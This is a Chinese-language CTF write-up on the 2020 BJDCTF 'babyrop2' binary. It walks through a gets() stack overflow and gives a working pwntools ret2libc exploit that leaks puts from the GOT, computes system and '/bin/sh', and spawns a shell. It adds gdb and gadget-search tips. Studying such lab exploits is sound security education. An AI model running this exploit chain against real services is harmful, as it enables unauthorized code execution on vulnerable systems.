1. 二进制漏洞利用实战:从babyrop2看现代栈溢出攻防
最近在整理CTF比赛的ROP利用技巧时,发现2020年BJDCTF的babyrop2是个非常典型的教学案例。这个题目集中展现了现代Linux环境下栈溢出利用的核心技术要点,特别是面对ASLR和NX防护时的绕过思路。作为二进制安全领域的入门练习,它比传统栈溢出题目更贴近当前的实际环境。
2. 题目环境与保护机制分析
2.1 基础防护检查
用checksec工具查看题目文件时,可以看到以下防护情况:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键点在于:
- NX(堆栈不可执行)开启:意味着不能直接在栈上执行shellcode
- 没有PIE(地址随机化):.text段地址固定,可以利用程序本身的gadget
- 缺少栈金丝雀(Canary):可以直接通过溢出覆盖返回地址
2.2 程序行为分析
运行程序会发现它简单地输出"Please input your name:",然后接收用户输入。通过逆向分析可以确认:
- 使用危险的gets()函数读取输入,存在典型的栈溢出漏洞
- 缓冲区大小只有0x20字节,但读取长度无限制
- 程序本身没有提供system或execve等危险函数
3. ROP链构造方法论
3.1 基础ROP技术回顾
传统的ROP利用需要以下要素:
- 控制EIP/RIP的溢出点
- 足够的gadget来构建功能链
- 目标函数(如system)的确定地址
在本题中,由于NX保护,我们需要通过ROP链来调用libc中的system函数。但题目没有直接给出libc版本,这就需要我们先泄漏libc地址。
3.2 地址泄漏技术实现
通过objdump分析,可以发现程序中有以下有用gadget:
- pop rdi; ret (用于设置第一个参数)
- puts@plt (用于输出内存内容)
利用思路:
- 构造ROP链调用puts()输出GOT表中的函数地址
- 接收泄漏的地址,计算libc基址
- 根据libc版本确定system和"/bin/sh"的地址
- 构造最终的getshell链
关键payload结构:
code复制padding + pop_rdi + puts_got + puts_plt + main_addr
4. 完整利用流程详解
4.1 第一阶段:泄漏libc地址
python复制from pwn import *
context(arch='amd64', os='linux')
# 第一轮交互:泄漏libc地址
p = process('./babyrop2')
pop_rdi = 0x400733
puts_plt = 0x400520
puts_got = 0x601018
main_addr = 0x400637
payload = b'A'*0x20 + b'B'*8 # padding
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt) + p64(main_addr)
p.sendlineafter("name:", payload)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
4.2 第二阶段:计算关键地址
获取泄漏的地址后,可以通过libc-database确定libc版本:
bash复制$ ./find puts <leaked_addr>
确定libc后,计算偏移:
python复制libc_base = leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))
4.3 第三阶段:获取shell
构造最终payload:
python复制payload = b'A'*0x20 + b'B'*8
payload += p64(pop_rdi) + p64(bin_sh_addr)
payload += p64(system_addr)
p.sendline(payload)
p.interactive()
5. 技术难点与解决方案
5.1 栈对齐问题
在64位系统中,调用函数时要求栈16字节对齐。有时直接跳转会导致崩溃,需要在ROP链中添加简单的ret指令来调整栈指针。
5.2 输入处理问题
gets()会在接收到换行符时停止读取,但不会在缓冲区满时停止。这要求我们精确控制payload长度,避免意外截断。
5.3 远程与本地差异
本地测试成功后,远程环境可能因为libc版本不同而失败。解决方法:
- 尝试泄漏多个函数地址提高识别准确率
- 准备多个常见libc的偏移方案
- 使用Docker模拟远程环境
6. 防护升级与对抗思路
现代系统对此类攻击有多种防护:
6.1 ASLR绕过技术
虽然本题没有PIE,但实际环境中还需要考虑:
- 通过信息泄漏获取模块基址
- 利用部分随机化的特性暴力破解
- 通过内存布局推测地址范围
6.2 NX防护下的代码执行
当不能直接执行栈上代码时,可以:
- 使用ROP调用mprotect()改变内存权限
- 寻找现有的可执行内存区域
- 利用JIT引擎等特殊机制
7. 实战经验与技巧
7.1 Gadget搜索优化
使用ROPgadget工具时:
bash复制ROPgadget --binary ./babyrop2 | grep "pop rdi"
对于复杂需求,可以组合使用:
- pop rsi; pop r15; ret
- mov qword ptr [rdi], rsi; ret
7.2 调试技巧
在gdb中:
- 使用cyclic pattern确定溢出点
- 在关键gadget处设断点
- 观察栈布局变化
gdb复制gdb-peda$ pattern create 100
gdb-peda$ b *0x400733
gdb-peda$ telescope $rsp 20
7.3 可靠payload构造
建议开发时:
- 先构建最小功能链测试可行性
- 逐步添加复杂逻辑
- 为每个阶段添加调试输出
- 准备多个备用方案
8. 扩展思考与练习方向
掌握了基础ROP后,可以进一步研究:
- 使用one-gadget直接获取shell
- 通过文件操作泄露敏感信息
- 结合堆漏洞实现更复杂利用
- 对抗Full RELRO和栈保护
这个题目虽然名为"baby",但涵盖了现代二进制利用的核心技术要点。通过这个案例,我们可以建立起对ROP攻击的系统性认识,为学习更高级的漏洞利用技术打下坚实基础。